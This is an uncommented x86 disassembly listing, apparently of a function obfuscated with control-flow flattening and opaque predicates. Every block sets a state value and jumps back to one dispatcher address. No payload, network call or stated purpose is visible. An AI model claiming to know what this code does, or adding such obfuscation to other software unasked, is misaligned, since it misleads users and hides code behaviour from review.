mov eax, 0x19710da0
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 4]
lea eax, [eax + eax*4]
lea ecx, [eax*4 + 0x74]
mov eax, ecx
shr eax, 1
add eax, 0xffffffd9
mov dword [esi + 4], eax
mov eax, 0xe5444044
cmp ecx, 0x6e
jb 0x43969d
mov eax, 0x83fc6d78
mov dword [esi], eax
jmp 0x4341e7
mov ecx, dword [esi + 8]
imul eax, ecx, 0x2b0
shr eax, 0xd
imul eax, eax
imul edx, eax, 0x7f67
dec edx
imul ecx, ecx, 0xac0000
and ecx, 0xf8000000
mov dword [esi + 8], ecx
mov ecx, 0xa014e768
cmp edx, eax
je 0x4396d7
mov ecx, 0x9846d7b
mov dword [esi], ecx
jmp 0x4341e7
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x94], eax
mov dword [esi], 0x3f742007
jmp 0x4341e7
mov edi, dword [esi + 4]
shl edi, 0x1d
mov dword [esi + 4], edi
push edi
call fcn.004341d0
add esp, 4
push edi
push 0x30bc
push 0x5a2
push 0x62ad
call fcn.00439900
add esp, 0x10
mov dword [esi], 0x12952900
jmp 0x4341e7
imul ecx, dword [esi + 4], 0xd3
add ecx, 0xffffe344
mov eax, ecx
shr eax, 0xf
add eax, 0xffffff0d
mov dword [esi + 4], eax
mov eax, 0xaff9186a
cmp ecx, 0x7c8000
jae 0x439756
mov eax, 0x7f31619f
mov dword [esi], eax
jmp 0x4341e7
imul eax, dword [esi + 8], 0x99
lea ecx, [eax + 0x23]
imul eax, eax
shr ecx, 3
imul edx, eax, 0x789d
imul ecx, ecx, 0xab
dec edx
add ecx, 0xffffff64
mov dword [esi + 8], ecx
mov ecx, 0x1c21aa61
cmp eax, edx
je 0x439791
mov ecx, 0xbd121001
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 8]
add eax, eax
add eax, 0xffffff54
shr eax, 0xf
imul eax, eax, 0x6880
and eax, 0xfffffe00
mov dword [esi + 8], eax
mov dword [esi], 0xa4597235
jmp 0x4341e7
mov ecx, dword [esi + 8]
lea eax, [ecx + 0xfa]
imul eax, eax
add ecx, 0xc1
imul edx, eax, 0x4ce1
dec edx
shr ecx, 7
mov dword [esi + 8], ecx
mov ecx, 0x9cc835ea
cmp eax, edx
je 0x4397eb
mov ecx, 0x375c1a1a
mov dword [esi], ecx
jmp 0x4341e7
mov eax, dword [esi + 0x198]
mov ecx, dword [esi + 0x1a4]
mov dword [ecx], eax
mov dword [esi], 0xad5b1702
jmp 0x4341e7
movzx eax, word [esi + 0xa]
and eax, 0x3f
mov dword [esi + 8], eax
mov dword [esi], 0x2e8e5f5e
jmp 0x4341e7
mov edi, dword [esi + 4]
add edi, edi
and edi, 0xffffffe
mov dword [esi + 4], edi
push 0x1e30
push 0x3273
push edi
call fcn.004250b7
add esp, 0xc
push 0x1528
push edi
push 0x61c0
call fcn.004250b7
add esp, 0xc
mov eax, 0x2953b9f6
cmp edi, 0xbb
jb 0x439866
mov eax, 0x94fbdada
mov dword [esi], eax
jmp 0x4341e7
mov eax, dword [esi + 0x44]
mov eax, dword [esi + 0x40]
mov eax, dword [esi + 0x18]
mov eax, dword [esi + 0x3c]
mov eax, dword [esi + 0x38]
mov eax, dword [esi + 0x34]
mov eax, dword [esi + 0x30]
mov eax, dword [esi + 0x2c]
mov dword [esi], 0xf81480c8
jmp 0x4341e7
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 0x100], ecx
mov dword [esi + 0x104], eax
mov dword [esi], 0x369d02bb
jmp 0x4341e7
mov eax, dword [esi + 0x1e0]
mov word [eax], 0
mov dword [esi], 0x65cb1f62
jmp 0x4341e7
mov eax, dword [esi + 0xc]
add eax, dword [esi + 0x128]
mov dword [esi + 0x12c], eax
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x6c], eax
mov dword [esi], 0x826ee42d
jmp 0x4341e7
cmp eax, 0xcf303784
jne 0x4341e7
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret